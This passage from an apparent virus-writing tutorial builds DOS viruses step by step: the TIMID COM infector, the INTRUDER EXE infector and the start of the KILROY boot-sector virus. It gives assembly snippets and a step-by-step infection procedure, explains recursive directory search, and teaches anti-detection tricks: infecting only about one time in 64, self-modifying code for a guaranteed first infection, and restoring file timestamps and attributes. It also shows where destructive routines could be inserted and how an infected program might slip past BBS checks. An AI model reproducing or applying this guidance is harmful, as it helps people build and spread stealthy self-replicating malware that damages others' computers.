This uses DOS function 9 to print the string at FNAME, which is the name of the file that was infected. Note that if someone wanted to make a malicious monster out of this virus, the destructive code could easily be put here, or after EXIT_VIRUS, depending on the conditions under which destructive activity was desired. For example, our hacker could write a routine called DESTROY, which would wreak all kinds of havoc, and then code it in like this:

      call    INFECT
      call    DESTROY

if one wanted to do damage only after a successful infection took place, or like this:

      call    INFECT
      call    DESTROY

if one wanted the damage to always take place, no matter what, or like this:

      call    FIND_FILE
      jnz     DESTROY
      call    INFECT

if one wanted damage to occur only in the event that the virus could not find a file to infect, etc., etc. I say this not to suggest that you write such a routine-please don't-but just to show you how easy it would be to control destructive behavior in a virus (or any other program, for that matter).

The First Host

To compile and run the virus, it must be attached to a host program. It cannot exist by itself. In writing the assembly language code for this virus, we have to set everything up so the virus thinks it's already attached to some COM file. All that is needed is a simple program that does nothing but exit to DOS. To return control to DOS, a program executed DOS function 4C Hex. That just stops the program from running, and DOS takes over. When function 4C is executed, a return code is put in al by the program making the call, where al=0 indicates successful completion of the program. Any other value indicates some kind of error, as determined by the program making the DOS call. So, the simplest COM program would look like this:

      mov     ax,4C00H
      int     21H

Since the virus will take over the first five bytes of a COM file, and since you probably don't know how many bytes the above two instructions will take up, let's put five NOP (no operation) instructions at the start of the host program. These take up five bytes which do nothing. Thus, the host program will look like this:

      mov     ax,4C00H
      int     21H

We don't want to code it like that though! We code it to look just like it would if the virus had infected it. Namely, the NOP's will be stored at START CODE,


and the first five bytes of the host will consist of a jump to the virus and the letters "VI":

      jmp     NEAR VIRUS_START
      db      'VI'
      mov     ax,4C00H
      int     21H

There, that's it. The TIMID virus is listed in its entirety in Appendix A, along with everything you need to compile it correctly.

I realize that you might be overwhelmed with new ideas and technical details at this point, and for me to call this virus "simple" might be discouraging. If so, don't lose heart. Study it carefully. Go back over the text and piece together the various functional elements, one by one. And if you feel confident, you might try putting it in a subdirectory of its own on your machine and giving it a whirl. If you do though, be careful! Proceed at your own risk! It's not like any other computer program you've ever run!

Case Number Two: A Sophisticated Executable Virus

The simple COM file infector which we just developed might be good instruction on the basics of how to write a virus, but it is severely limited. Since it only attacks COM files in the current directory, it will have a hard time proliferating. In this chapter, we will develop a more sophisticated virus that will overcome these limitations. . . . a virus that can infect EXE files and jump directory to directory and drive to drive. Such improvements make the virus much more complex, and also much more dangerous. We started with something simple and relatively innocuous in the last chapter. You can't get into too much trouble with it. However, I don't want to leave you with only children's toys. The virus we discuss in this chapter, named INTRUDER, is no toy. It is very capable of finding its way into computers all around the world, and deceiving a very capable computer whiz.

The Structure of an EXE File

An EXE file is not as simple as a COM file. The EXE file is designed to allow DOS to execute programs that require more than 64 kilobytes of code, data and stack. When loading an EXE file, DOS makes no a priori assumptions about the size of the file, or what is code or data. All of this information is stored in the EXE file itself, in the EXE Header at the beginning of the file. This header has two parts to it, a fixed-length portion, and a variable length table of pointers to segment references in the Load Module, called the Relocation Pointer Table. Since any virus which attacks EXE files must be able to manipulate the data in the EXE Header, we'd better take some time to look at it. Figure 10 is a graphical representation of an EXE file. The meaning of each byte in the header is explained in Table 1.

Figure 10: The layout of an EXE file.

Figure 10: The layout of an EXE file.

When DOS loads the EXE, it uses the Relocation Pointer Table to modify all segment references in the Load Module. After that, the segment references in the image of the program loaded into memory point to the correct memory location. Let's consider an example (Figure 11): Imagine an EXE file with two segments. The segment at the start of the load module contains a far call to the second segment. In the load module, this call looks like this:

Address Assembly Language Machine Code
0000:0150 CALL FAR 0620:0980 9A 80 09 20 06

From this, one can infer that the start of the second segment is 6200H (= 620H x 10H) bytes from the start of the load module. The Relocation Pointer Table would contain a vector 0000:0153 to point to the segment reference (20 06) of this far call. When DOS loads the program, it might load it starting at segment 2130H, because DOS and some memory resident programs occupy locations below this. So DOS would first load the Load Module into memory at 2130:0000. Then it would take the relocation pointer 0000:0153 and transform it into a pointer, 2130:0153 which points to the segment in the far call in memory. DOS will then add 2130H to the word in that location, resulting in the machine language code 9A 80 09 50 27, or CALL FAR 2750:0980 (See Figure 11).

Figure 11: An example of relocating code.

Figure 11: An example of relocating code.

Offset Size Name Description
0 2 Signature These bytes are the characters M and Z in every EXE file and identify the file as an EXE file. If they are anything else, DOS will try to treat the file as a COM file.
2 2 Last Page Size Actual number of bytes in the final 512 byte page of the file (see Page Count).
4 2 Page Count The number of 512 byte pages in the file. The last page may only be partially filled, with the number of valid bytes specified in Last Page Size. For example a file of 2050 bytes would have Page Size = 4 and Last Page Size = 2.
6 2 Reloc Table Entries The number of entries in the relocation pointer table
8 2 Header Paragraphs The size of the EXE file header in 16 byte paragraphs, including the Relocation table. The header is always a multiple of 16 bytes in length.
0AH 2 MINALLOC The minimum number of 16 byte paragraphs of memory that the program requires to execute. This is in addition to the image of the program stored in the file. If enough memory is not available, DOS will return an error when it tries to load the program.
0CH 2 MAXALLOC The maximum number of 16 byte paragraphs to allocate to the program when it is executed. This is normally set to FFFF Hex, except for TSR's.
0EH 2 Initial ss This contains the initial value of the stack segment relative to the start of the code in the EXE file, when the file is loaded. This is modified dynamically by DOS when the file is loaded, to reflect the proper value to store in the ss register.
10H 2 Initial sp The initial value to set sp to when the program is executed.
12H 2 Checksum A word oriented checksum value such that the sum of all words in the file is FFFF Hex. If the file is an odd number of bytes long, the lost byte is treated as a word with the high byte = 0. Often this checksum is used for nothing, and some compilers do not even bother to set it properly. The INTRUDER virus will not alter the checksum.
14H 2 Initial ip The initial value for the instruction pointer, ip, when the program is loaded.
16H 2 Initial cs Initial value of the code segment relative to the start of the code in the EXE file. This is modified by DOS at load time.
18H 2 Relocation Tbl Offset Offset of the start of the relocation table from the start of the file, in bytes.
1AH 2 Overlay Number The resident, primary part of a program always has this word set to zero. Overlays will have different values stored here.

Table 1: Structure of the EXE Header.

Note that a COM program requires none of these calisthenics since it contains no segment references. Thus, DOS just has to set the segment registers all to one value before passing control to the program.

Infecting an EXE File

A virus that is going to infect an EXE file will have to modify the EXE Header and the Relocation Pointer Table, as well as adding its own code to the Load Module. This can be done in a whole variety of ways, some of which require more work than others. The INTRUDER virus will attach itself to the end of an EXE program and gain control when the program first starts. This will require a routine similar to that in TIMID, which copies program code from memory to a file on disk, and then adjusts the file.

INTRUDER will have its very own code, data and stack segments. A universal EXE virus cannot make any assumptions about how those segments are set up by the host program. It would crash as soon as it finds a program where those assumptions are violated. For example, if one were to use whatever stack the host program was initialized with, the stack could end up right in the middle of the virus code with the right host. (That memory would have been free space before the virus had infected the program.) As soon as the virus started making calls or pushing data onto the stack, it would corrupt its own code and self-destruct.

To set up segments for the virus, new initial segment values for cs and ss must be placed in the EXE file header. Also, the old initial segments must be stored somewhere in the virus, so it can pass control back to the host program when it is finished executing. We will have to put two pointers to these segment references in the relocation pointer table, since they are relocatable references inside the virus code segment.

Adding pointers to the relocation pointer table brings up an important question. To add pointers to the relocation pointer table, it may sometimes be necessary to expand that table's size. Since the EXE Header must be a multiple of 16 bytes in size, relocation pointers are allocated in blocks of four four byte pointers. Thus, if we can keep the number of segment references down to two, it will be necessary to expand the header only every other time. On the other hand, the virus may choose not to infect the file, rather than expanding the header. There are pros and cons for both possibilities. On the one hand, a load module can be hundreds of kilobytes long, and moving it is a time consuming chore that can make it very obvious that something is going on that shouldn't be. On the other hand, if the virus chooses not to move the load module, then roughly half of all EXE files will be naturally immune to infection. The INTRUDER virus will take the quiet and cautious approach that does not infect every EXE. You might want to try the other approach as an exercise, and move the load module only when necessary, and only for relatively small files (pick a maximum size).

Suppose the main virus routine looks something like this:


       mov     ax,cs               ;set ds=cs for virus
       mov     ds,ax
       mov     ax,SEG HOST_STACK   ;restore host stack
       mov     ss,ax
       mov     sp,OFFSET HOST_STACK
       jmp     FAR PTR HOST        ;go execute host

Then, to infect a new file, the copy routine must perform the following steps:

  1. Read the EXE Header in the host program.
  2. Extend the size of the load module until it is an even multiple of 16 bytes, so cs:0000 will be the first byte of the virus.
  3. Write the virus code currently executing to the end of the EXE file being attacked.
  4. Write the initial values of ss:sp, as stored in the EXE Header, to the locations of SEG HOST_STACK and OFFSET HOST_STACK on disk in the above code.
  5. Write the initial value of cs:ip in the EXE Header to the location of FAR PTR HOST on disk in the above code.
  6. Store Initial ss=SEG VSTACK, Initial sp=OFFSET VSTACK, Initial cs=SEG VSEG, and Initial ip=OFFSET VIRUS in the EXE header in place of the old values.
  7. Add two to the Relocation Table Entries in the EXE header.
  8. Add two relocation pointers at the end of the Relocation Pointer Table in the EXE file on disk (the location of these pointers is calculated from the header). The first pointer must point to SEG HOST_STACK in the instruction
    mov     ax,HOST_STACK

    The second should point to the segment part of the

    jmp     FAR PTR HOST

    instruction in the main virus routine.

  9. Recalculate the size of the infected EXE file, and adjust the header fields Page Count and Last Page Size accordingly.
  10. Write the new EXE Header back out to disk.

All the initial segment values must be calculated from the size of the load module which is being infected. The code to accomplish this infection is in the routine INFECT in Appendix B.

A Persistent File Search Mechanism

As in the TIMID virus, the search mechanism can be broken down into two parts: FIND_FILE simply locates possible files to infect. FILE_OK, determines whether a file can be infected.

The FILE_OK procedure will be almost the same as the one in TIMID. It must open the file in question and determine whether it can be infected and make sure it has not already been infected. The only two criteria for determining whether an EXE file can be infected are whether the Overlay Number is zero, and whether it has enough room in its relocation pointer table for two more pointers. The latter requirement is determined by a simple calculation from values stored in the EXE header. If 16 * Header Paragraphs - 4 * Relocation Table Entries - Relocation Table Offset is greater than or equal to 8 (=4 times the number of relocatables the virus requires), then there is enough room in the relocation pointer table. This calculation is performed by the subroutine REL_ROOM, which is called by FILE_OK.

To determine whether the virus has already infected a file, we put an ID word with a pre-assigned value in the code segment at a fixed offset (say 0). Then, when checking the file, FILE_OK gets the segment from the Initial cs in the EXE header. It uses that with the offset 0 to find the ID word in the load module (provided the virus is there). If the virus has not already infected the file, Initial cs will contain the initial code segment of the host program. Then our calculation will fetch some random word out of the file which probably won't match the ID word's required value. In this way FILE_OK will know that the file has not been infected. So FILE_OK stays fairly simple.

However, we want to design a much more sophisticated FIND_FILE procedure than TIMID's. The procedure in TIMID could only search for files in the current directory to attack. That was fine for starters, but a good virus should be able to leap from directory to directory, and even from drive to drive. Only in this way does a virus stand a reasonable chance of infecting a significant portion of the files on a system, and jumping from system to system.

To search more than one directory, we need a tree search routine. That is a fairly common algorithm in programming. We write a routine FIND_BR, which, given a directory, will search it for an EXE which will pass FILE_OK. If it doesn't find a file, it will proceed to search for subdirectories of the currently referenced directory. For each subdirectory found, FIND_BR will recursively call itself using the new subdirectory as the directory to perform a search on. In this manner, all of the subdirectories of any given directory may be searched for a file to infect. If one specifies the directory to search as the root directory, then all files on a disk will get searched.

Making the search too long and involved can be a problem though. A large hard disk can easily contain a hundred subdirectories and thousands of files. When the virus is new to the system it will quickly find an uninfected file that it can attack, so the search will be unnoticably fast. However, once most of the files on the system are already infected, the virus might make the disk whirr for twenty seconds while examining all of the EXE's on a given drive to find one to infect. That could be a rather obvious clue that something is wrong.

To minimize the search time, we must truncate the search in such a way that the virus will still stand a reasonable chance of infecting every EXE file on the system. To do that we make use of the typical PC user's habits. Normally, EXE's are spread pretty evenly throughout different directories. Users often put frequently used programs in their path, and execute them from different directories. Thus, if our virus searches the current directory, and all of its subdirectories, up to two levels deep, it will stand a good chance of infecting a whole disk. As added insurance, it can also search the root directory and all of its subdirectories up to one level deep. Obviously, the virus will be able to migrate to different drives and directories without searching them specifically, because it will attack files on the current drive when an infected program is executed, and the program to be executed need not be on the current drive. When coding the FIND_FILE routine, it is convenient to structure it in three levels. First is a master routine FIND_FILE, which decides which subdirectory branches to search. The second level is a routine which will search a specified directory branch to a specified level, FIND_BR. When FIND_BR is called, a directory path is stored as a null terminated ASCII string in the variable USEFILE, and the depth of the search is specified in LEVEL. At the third level of the search algorithm, one routine searchs for EXE files (FINDEXE) and two search for subdirectories (FIRSTDIR and NEXTDIR). The routine that searches for EXE files will call FILE_OK to determine whether each file it finds is infectable, and it will stop everything when it finds a good file. The logic of this searching sequence is illustrated in Figure 12. The code for these routines is also listed in Appendix B.

Figure 12: Logic of the file search routines.

Figure 12: Logic of the file search routines.

Anti-Detection Routines

A fairly simple anti-detection tactic can make this virus much more difficult for the human eye to locate: Simply don't allow the search and copy routines to execute every time the virus gets control. One easy way of doing that is to look at the system clock, and see if the time in ticks (1 tick = 1/18.2 seconds) modulo some number is zero. If it is, execute the search and copy routines, otherwise just pass control to the host program. This anti-detection routine will look like this:

       xor     ah,ah        ;read time using
       int     1AH          ;BIOS time of day service
       and     al,63

This routine returns with z set roughly one out of 64 times. Since programs are not normally executed in sync with the clock timer, it will essentially return a z flag randomly. If called in the main control routine like this:

       call    SHOULDRUN
       jnz     FINISH       ;don't infect unless z set
       call    FIND_FILE
       jnz     FINISH       ;don't infect without valid file
       call    INFECT

the virus will attack a file only one out of every 64 times the host program is called. Every other time, the virus will just pass control to the host without doing anything. When it does that, it will be completely invisible even to the most suspicious eye.

The SHOULDRUN routine would pose a problem if you wanted to go and infect a system with it. You might have to sit there and run the infected program 50 or 100 times to get the virus to move to one new file on that system. That is annoying, and problematic if you want to get it into a system with minimal risk. Fortunately, a slight change can fix it. Just change SHOULDRUN to look like this:

       xor     ah,ah
SR1:   ret
       int     1AH
       and     al,63

and include another routine to modify the SHOULDRUN routine,

       mov     al,90H          ;NOP instruction = 90H
       mov     BYTE PTR [SR1],al

which can be incorporated into the main control routine like this:

       call    SHOULDRUN
       jnz     FINISH
       call    SETSR
       call    FIND_FILE
       jnz     FINISH
       call    INFECT

After SETSR has been executed, and before INFECT, the SHOULDRUN routine becomes

       xor     ah,ah
SR1:   nop
       int     1AH
       and     al,63

since the 90H which SETSR puts at SR1 is just a NOP instruction. When INFECT copies the virus to a new file, it copies it with the modified SHOULDRUN procedure. The result is that the first time the virus is executed, it definitely searches for a file and infects it. After that it goes to the 1-out-of-64 infection scheme. In this way, you can take the virus as assembled into the EXE, INTRUDER.EXE, and run it and be guaranteed to infect something. After that, the virus will infect the system more slowly.

Another useful tactic that we do not employ here is to make the first infection very rare, and then more frequent after that. This might be useful in getting the virus through a BBS, where it is carefully checked for infectious behavior, and if none is seen, it is passed around. (That's a hypothetical situation only, please don't do it!) In such a situation, no one person would be likely to spot the virus by sitting down and playing with the program for a day or two, even with a sophisticated virus checker handy. However, if a lot of people were to pick up a popular and useful (infected) program that they used daily, they could all end up infected and spreading the virus eventually.

The tradeoff in restraining the virus to infect only every one in N times is that it slows the infection rate down. What might take a day with no restraints may take a week, a month, or even a year, depending on how often the virus is allowed to reproduce. There are no clear rules to determine what is best-a quickly reproducing virus or one that carefully avoids being noticed-it all depends on what you're trying to do with it.

Another important anti-detection mechanism incorporated into INTRUDER is that it saves the date and time of the file being infected, along with its attribute. Then it changes the file attribute to read/write, performs the modifications on the file, and restores the original date, time and attribute. Thus, the infected EXE does not have the date and time of the infection, but its original date and time. The infection cannot be traced back to its source by studying the dates of the infected files on the system. Also, since the original attribute is restored, the archive bit never gets set, so the user who performs incremental backups does not find all of his EXE's getting backed up one day (a strange sight indeed). As an added bonus, the virus can infect read-only and system files without a hitch.

Passing Control to the Host

The final step the virus must take is to pass control to the host program without dropping the ball. To do that, all the registers should be set up the same as they would be if the host program were being executed without the virus. We already discussed setting up cs:ip and ss:sp. Except for these, only the ax register is set to a specific value by DOS, to indicate the validity of the drive ID in the FCB's in the PSP. If an invalid identifier (i.e. "D:", when a system has no D drive) is in the first FCB at 005C, al is set to FF Hex, and if the identifier is valid, al=0. Likewise, ah is set to FF if the identifier in the FCB at 006C is invalid. As such, ax can simply be saved when the virus starts and restored before it transfers control to the host. The rest of the registers are not initialized by DOS, so we need not be concerned with them.

Of course, the DTA must also be moved when the virus is first fired up, and then restored when control is passed to the host. Since the host may need to access parameters which are stored there, moving the DTA temporarily is essential since it avoids overwriting those parameters during the search operation.


Unlike the TIMID virus, INTRUDER contains no notice that it is infecting a file. It contains nothing but routines that will help it reproduce. Although it is not intentionally destructive, it is extremely infective and easy to overlook. . . and difficult to get rid of once it gets started. Therefore, DO NOT RUN THIS VIRUS, except in a very carefully controlled environment. The listing in Appendix B contains the code for the virus. A locator program, FINDINT, is also supplied, so if you do run the virus, you'll be able to see which files have been infected by it.

Case Number Three: A Simple Boot Sector Virus

The boot sector virus can be the simplest or the most sophisticated of all computer viruses. On the one hand, the boot sector is always located in a very specific place on disk. Therefore, both the search and copy mechanisms can be extremely quick and simple, if the virus can be contained wholly within the boot sector. On the other hand, since the boot sector is the first code to gain control after the ROM startup code, it is very difficult to stop before it loads. If one writes a boot sector virus with sufficiently sophisticated anti-detection routines, it can also be very difficult to detect after it loads, making the virus nearly invincible. In the next two chapters we will examine both extremes. This chapter will take a look at one of the simplest of all boot sector viruses to learn the basics of how they work. The following chapter will dig into the details of a fairly sophisticated one.

Boot Sectors

To understand the operation of a boot sector virus one must first understand how a normal, uninfected boot sector works. Since the operation of a boot sector is hidden from the eyes of a casual user, and often ignored by books on PC's, we will discuss them here.

When a PC is first turned on, the CPU begins executing the machine language code at the location F000:FFF0. The system BIOS ROM (Basic-Input-Output-System Read-Only-Memory) is located in this high memory area, so it is the first code to be executed by the computer. This ROM code is written in assembly language and stored on chips (EPROMS) inside the computer. Typically this code will perform several functions necessary to get the computer up and running properly. First, it will check the hardware to see what kinds of devices are a part of the computer (e.g., color or mono monitor, number and type of disk drives) and it will see whether these devices are working correctly. The most familiar part of this startup code is the memory test, which cycles through all the memory in the machine twice, displaying the addresses on the screen. The startup code will also set up an interrupt table in the lowest 1024 bytes of memory. This table provides essential entry points (interrupt vectors) so all programs loaded later can access the BIOS services. The BIOS startup code also initializes a data area for the BIOS starting at the memory location 0040:0000H, right above the interrupt vector table. Once these various house-keeping chores are done, the BIOS is ready to transfer control to the operating system for the computer, which is stored on disk.

But which disk? Where on that disk? What does it look like? How big is it? How should it be loaded and executed? If the BIOS knew the answers to all of these questions, it would have to be configured for one and only one operating system. That would be a problem. As soon as a new operating system (like OS/2) or a new version of an old familiar (like MS-DOS 4.0) came out, your computer would become obsolete! For example, a computer set up with PC-DOS 2.0 could not run MS-DOS 3.3, or Xenix. A machine set up with CPM-86 (an old, obsolete operating system) could run none of the above. That wouldn't be a very pretty picture.

Figure 13: Loading the DOS operating system.

Figure 13: Loading the DOS operating system.

The boot sector provides a valuable intermediate step in the process of loading the operating system. It works like this: the BIOS remains ignorant of the operating system you wish to use. However, it knows to first go out to floppy disk drive A: and attempt to read the first sector on that disk (at Track 0, Head 0, Sector 1) into memory at location 0000:7C00H. If the BIOS doesn't find a disk in drive A:, it looks for the hard disk drive C:, and tries to load its first sector. (And if it can't find a disk anywhere, it will either go into ROM Basic or generate an error message, depending on what kind of a computer it is.) Once the first sector (the boot sector) has been read into memory, the BIOS checks the last two bytes to see if they have the values 55H AAH. If so, the BIOS assumes it has found a valid boot sector, and transfers control to it at 0000:7C00H. From this point on, it is the boot sector's responsibility to load the operating system into memory and get it going, whatever the operating system may be. In this way the BIOS (and the computer manufacturer) avoids having to know anything about what operating system will run on the computer. Each operating system will have a unique disk format and its own configuration, its own system files, etc. As long as every operating system puts a boot sector in the first sector on the disk, it will be able to load and run.

Since a sector is normally only 512 bytes long, the boot sector must be a very small, rude program. Generally, it is designed to load another larger file or group of sectors from disk and then pass control to them. Where that larger file is depends on the operating system. In the world of DOS, most of the operating system is kept in three files on disk. One is the familiar COMMAND.COM and the other two are hidden files (hidden by setting the "hidden" file attribute) which are tucked away on every DOS boot disk. These hidden files must be the first two files on a disk in order for the boot sector to work properly. If they are anywhere else, DOS cannot be loaded from that disk. The names of these files depend on whether you're using PC-DOS (from IBM) or MS-DOS (from Microsoft). Under PC-DOS, they're called IBMBIO.COM and IBMDOS.COM. Under MS-DOS they're called IO.SYS and MSDOS.SYS.

When a normal DOS boot sector executes, it first determines the important disk parameters for the particular disk it is installed on. Next it checks to see if the two hidden operating system files are on the disk. If they aren't, the boot sector displays an error message and stops the machine. If they are there, the boot sector tries to load the IBMBIO.COM or IO.SYS file into memory at location 0000:0700H. If successful, it then passes control to that program file, which continues the process of loading the PC/MS-DOS operating system. That's all the boot sector on a floppy disk does. A hard drive is a little more complex. It will contain two (or more) boot sectors instead of just one. Since a hard drive can be divided into more than one partition (an area on the disk for the use of an operating system), it may contain several different operating systems. When the BIOS loads the boot sector in the first physical sector on the hard drive, it treats it just the same as a floppy drive. However, the sector that gets loaded performs a completely different function. Rather than loading an operating system's code, this sector handles the partition information, which is also stored in that sector (by the FDISK program in DOS). No matter how many partitions a disk may have, one of them must be made active (by setting a byte in the partition table) to boot off the hard disk. The first boot sector determines which partition is active, moves itself to a different place in memory, and then loads the first sector in the active partition into memory (at 0000:7C00H), where the partition boot sector originally was. The first sector in the active partition is the operating system boot sector which loads the operating system into memory. It is virtually identical to the boot sector on floppy disk.

Figure 14: The hard disk boot sequence in three steps.

Figure 14: The hard disk boot sequence in three steps.

Designing a boot sector virus can be fairly simple-at least in principle. All that such a virus must do is take over the first sector on disk (or the first sector in the active partition of a hard disk, if it prefers to go after that). From there, it tries to find uninfected disks in the system. Problems arise when that virus becomes so complicated that it takes up too much room. Then the virus must become two or more sectors long, and the author must find a place to hide multiple sectors, load them, and copy them. This can be a messy and difficult job. If a single sector of code could be written that could both load the DOS operating system and copy itself to other disks, one would have a very simple virus which would be practically impossible for the unsuspecting user to detect. Such is the virus we will discuss in this chapter. Its name is KILROY.

Rather than designing a virus that will infect a boot sector, it is much easier to design a virus that simply is a self-reproducing boot sector. That is because boot sectors are pretty cramped-there may only be a dozen free bytes available for "other code"-and the layout of the boot sector will vary with different operating systems. To deal with these variations in such a limited amount of space would take a miracle program. Instead, we will design a whole, functional boot sector.

The Necessary Components of a Boot Sector

To write a boot sector that can both boot up the DOS operating system and reproduce means we are going to have to trim down on some of what a normal boot sector does. The KILROY virus won't display the polite little error messages like "Non-System disk or disk error / Replace and strike any key when ready" when your disk isn't configured properly. Instead, it will be real rude to the user if everything isn't just right. That will make room for the code necessary to carry out covert operations.

To start with, let's take a look at the basic structure of a boot sector. The first bytes in the sector are always a jump instruction to the real start of the program, followed by a bunch of data about the disk on which this boot sector resides. In general, this data changes from disk type to disk type. All 360K disks will have the same data, but that will differ from 1.2M drives and hard drives, etc. The standard data for the start of the boot sector is described in Table 2. It consists of a total of 43 bytes of information. Most of this information is required in order for DOS and the BIOS to use the disk drive and it should never be changed inadvertently. The one exception is the DOS_ID field. This is simply eight bytes to put a name in to identify the boot sector. We'll put "Kilroy" there.

Right after the jump instruction, the boot sector sets up the stack. Next, it sets up the Disk Parameter Table also known as the Disk Base Table. This is just a table of parameters which the BIOS uses to control the disk drive (Table 3) through the disk drive controller (a chip on the controller card). More information on these parameters can be found in Peter Norton's Programmer's Guide to the IBM PC, and similar books. When the boot sector is loaded, the BIOS has already set up a default table, and put a pointer to it at the address 0000:0078H (interrupt 1E Hex). The boot sector replaces this table with its own, tailored for the particular disk. This is standard practice, although in many cases the BIOS table is perfectly adequate to access the disk.

Name Position Size Description
DOS_ID 7C03 8 Bytes ID of Format program
SEC_SIZE 7C0B 2 Sector size, in bytes
SECS_PER_CLUST 7C0D 1 Number of sectors per cluster
FAT_START 7C0E 2 Starting sector for the 1st FAT
FAT_COUNT 7C10 1 Number of FATs on the disk
ROOT_ENTRIES 7C11 2 Number of entries in root directory
SEC_COUNT 7C13 2 Number of sectors on this disk
DISK_ID 7C14 1 Disk ID (FD Hex = 360K, etc.)
SECS_PER_FAT 7C15 2 Number of sectors in a FAT table
SECS_PER_TRK 7C18 2 Number of sectors on a track
HEADS 7C1A 2 Number of heads (sides) on disk
HIDDEN_SECS 7C1C 2 Number of hidden sectors

Table 2: The Boot Sector data.

Offset Description
0 Specify Byte 1: head unload time, step rate time
1 Specify Byte 2: head load time, DMA mode
2 Time before turning motor off, in clock ticks
3 Bytes per sector (0=128, 1=256, 2=512, 3=1024)
4 Last sector number on a track
5 Gap length between sectors for read/write
6 Data transfer length (set to FF Hex)
7 Gap length between sectors for formatting
8 Value stored in each byte when a track is formatted
9 Head settle time, in milliseconds
A Motor startup time, in 1/8 second units

Table 3: The Disk Parameter Table.

Rather than simply changing the address of the interrupt 1EH vector, the boot sector goes through a more complex procedure that allows the table to be built both from the data in the boot sector and the data set up by the BIOS. It does this by locating the BIOS default table and reading it byte by byte, along with a table stored in the boot sector. If the boot sector's table contains a zero in any given byte, that byte is replaced with the corresponding byte from the BIOS' table, otherwise the byte is left alone. Once the new table is built inside the boot sector, the boot sector changes interrupt vector 1EH to point to it. Then it resets the disk drive through BIOS interrupt 13H, function 0, using the new parameter table.

The next step, locating the system files, is done by finding the start of the root directory on disk and looking at it. The disk data at the start of the boot sector has all the information we need to calculate where the root directory starts. Specifically,

FRDS (First root directory sector) = FAT_COUNT*SECS_PER_FAT
                                    + HIDDEN_SECS + FAT_START

so we can calculate the sector number and read it into memory at 0000:0500H. From there, the boot sector looks at the first two directory entries on disk. These are just 32 byte records, the first eleven bytes of which is the file name. One can easily compare these eleven bytes with file names stored in the boot record. Typical code for this whole operation looks like this:

      MOV     AL,BYTE PTR [FAT_COUNT]   ;get fats per disk
      XOR     AH,AH
      MUL     WORD PTR [SECS_PER_FAT]   ;multiply by sectors per fat
      ADD     AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
      ADD     AX,WORD PTR [FAT_START]   ;add starting fat sector

      PUSH    AX
      MOV     WORD PTR [DOS_ID],AX      ;root dir, save it

      MOV     AX,20H                    ;dir entry size
      MUL     WORD PTR [ROOT_ENTRIES]   ;dir size in ax
      MOV     BX,WORD PTR [SEC_SIZE]    ;sector size
      ADD     AX,BX                     ;add one sector
      DEC     AX                        ;decrement by 1
      DIV     BX                        ;ax=# sectors in root dir
      ADD     WORD PTR [DOS_ID],AX      ;DOS_ID=start of data
      MOV     BX,OFFSET DISK_BUF        ;set up disk read buffer @ 0:0500
      POP     AX                        ;and go convert sequential
      CALL    CONVERT                   ;sector number to bios data
      MOV     AL,1                      ;prepare for a 1 sector disk read
      CALL    READ_DISK                 ;go read it

      MOV     DI,BX                     ;compare first file on disk with
      MOV     CX,11                     ;required file name
      MOV     SI,OFFSET SYSFILE_1       ;of first system file for PC DOS
      REPZ    CMPSB
      JZ      SYSTEM_THERE              ;ok, found it, go load it

      MOV     DI,BX                     ;compare first file with
      MOV     CX,11                     ;required file name
      MOV     SI,OFFSET SYSFILE_2       ;of first system file for MS DOS
      REPZ    CMPSB
      JNZ     ERROR2                    ;not the same - an error, so stop
Position Size Description
00 Hex 8 Bytes File Name (ASCII, space filled)
08 3 File Name Extension (ASCII, space filled)
0B 1 File Attribute
0C 10 Reserved, Zero filled
16 2 Time file last written to
18 2 Date file last written to
1A 2 Starting FAT entry
1C 4 File size(long integer)

Table 4: The format of a directory entry on disk.

Once the boot sector has verified that the system files are on disk, it tries to load the first file. It assumes that the first file is located at the very start of the data area on disk, in one contiguous block. So to load it, the boot sector calculates where the start of the data area is,

FDS (First Data Sector) = FRDS
          + [(32*ROOT_ENTRIES) + SEC_SIZE - 1]/SEC_SIZE

and the size of the file in sectors. The file size in bytes is stored at the offset 1CH from the start of the directory entry at 0000:0500H. The number of sectors to load is at most


(Note that the size of this file is always less than 29K or it cannot be loaded.) The file is loaded at 0000:0700H. Then the boot sector sets up some parameters for that system file in its registers, and transfers control to it. From there the operating system takes over the computer, and eventually the boot sector's image in memory is overwritten by other programs.

Gutting Out the Boot Sector

The first step in creating a one sector virus is to write some code to perform all of the basic boot sector functions which is as code-efficient as possible. All of the functionality discussed above is needed, but it's not what we're really interested in. So we will strip out all the fancy bells and whistles that are typically included in a boot sector. First, we want to do an absolute minimum of error handling. The usual boot sector displays several error messages to help the user to try to remedy a failure. Our boot sector virus won't be polite. It doesn't really care what the user does when the boot up fails, so if something goes wrong, it will just stop. Whoever is using the computer will get the idea that something is wrong and try a different disk anyhow. This rudeness eliminates the need for error message strings, and the code required to display them. That can save up to a hundred bytes.

The second point of rudeness we will incorporate into our boot sector virus is that it will only check the disk for the first system file and load it. Rarely is one system file present and not the other, since both DOS commands that put them on a disk (FORMAT and SYS) put them there together. If for some reason the second file does not exist, our boot sector will load and execute the first one, rather than displaying an error message. The first system program will just bomb then when it goes to look for the second file and it's not there. The result is practically the same. Trimming the boot sector in this fashion makes it necessary to search for only two files instead of four, and saves about 60 bytes.

Two files instead of four? Didn't I just say that the boot sector only looks for the two system files to begin with? True, most boot sectors do, but a viral boot sector must be different. The usual boot sector is really part of an operating system, but the viral boot sector is not. It will typically jump from disk to disk, and it will not know what operating system is on that disk. (And there's not enough room in one sector to put in code that could figure it out and make an intelligent choice.) So our solution will be to assume that the operating system could be either MS-DOS or PC-DOS and nothing else. That means we must look for system files for both MS-DOS or PC-DOS, four files. Limiting the search to the first system file means that we only have to find IO.SYS or IBMBIO.COM.

Anyhow, incorporating all of these shortcuts into a boot sector results in 339 bytes of code, which leaves 173 bytes for the search and copy routines. That is more than enough room. The listing for this basic (non-viral) boot sector, BOOT.ASM, is presented in Appendix C.

The Search and Copy Mechanism

Ok, let's breathe some life into this boot sector. Doing that is easy because the boot sector is such a simple animal. Since code size is a primary concern, the search and copy routines are combined in KILROY to save space.

First, the copy mechanism must determine where it came from. The third to the last byte in the boot sector will be set up by the virus with that information. If the boot sector came from drive A, that byte will be zero; if it came from drive C, that byte will be 80H. It cannot come from any other drive since a PC boots only from drive A or C.

Once KILROY knows where it is located, it can decide where to look for other boot sectors to infect. Namely, if it is from drive A, it can look for drive C (the hard disk) and infect it. If there is no drive C, it can look for a second floppy drive, B:, to infect. (There is never any point in trying to infect A. If the drive door on A: were closed, so it could be infected, then the BIOS would have loaded the boot sector from there instead of C:, so drive A would already be infected.)

